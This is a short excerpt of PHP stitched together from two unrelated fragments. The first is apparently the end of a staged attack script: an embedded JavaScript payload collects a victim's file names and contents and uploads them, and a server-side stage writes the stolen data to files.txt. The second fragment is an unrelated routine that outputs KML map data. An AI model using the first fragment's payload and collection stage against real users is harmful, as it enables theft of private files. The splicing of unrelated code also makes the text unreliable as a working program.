} getFiles(filenames); uploadFiles(filecontents); </script> </body> </html> <?php } // Stage 3: Read the file names and contents sent by the payload and write to a file on the server. function stage3() { $fp = fopen("files.txt", "w") or die("Couldn't open file for writing!"); fwrite($fp, print_r($_POST, TRUE)) or die("Couldn't write data to file!"); fclose($fp); echo "Data uploaded to <a href=\"files.txt\">files.txt</a>!"; } // Select the stage to run depending on the parameter passed in the URL switch ($_GET["stage"]) { case "1": stage1($scripturl); break; case "2": stage2($scripturl, $filenames); break; case "3": stage3(); break; default: stage0($scripturl); break; }
$laststyle = $currstyle; } renderLineString($dom, $plotNode, $coorStr, $currstyle); if ($debug) { header('Content-type: text/plain'); } else { header('Content-type: application/vnd.google-earth.kml+xml'); header('Content-Disposition: attachment; filename=liveobd.kml'); } $kmlOutput = $dom->saveXML(); echo $kmlOutput; } $stage = 0; if (!empty($_REQUEST['stage'])) { $stage = (int) $_REQUEST['stage']; } switch ($stage) { case 1: stage1(); break; case 2: stage2(); break; case 0: default: stage0(); break; } ?>